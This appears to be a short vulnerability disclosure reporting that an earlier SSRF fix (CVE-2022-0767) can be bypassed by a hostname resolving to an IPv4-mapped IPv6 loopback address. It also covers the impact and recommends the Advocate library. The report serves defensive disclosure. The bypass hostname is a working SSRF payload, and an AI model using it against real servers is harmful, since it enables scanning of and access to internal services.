Valid

Reported on

Mar 6th 2022


Description

The fix for my previous report (CVE-2022-0767) is still incomplete and could be bypassed via IPV4/IPV4 embedding :

ssrf-ipv4_ipv6.etclab.top will resolve to 0:0:0:0:0:ffff:127.0.0.1

Impact

This vulnerability is capable of port scanning and even may execute some actions on the victim's side in case there are sensitive services on localhost.

Patch

I still strongly recommend using the Advocate library instead of requests, it will protect functionality download the remote files from SSRF attacks. for example, even with the fix of this report, you are still vulnerable to DNS-rebinding, and using SSRF Protected libraries like Advocate will solve this problem.
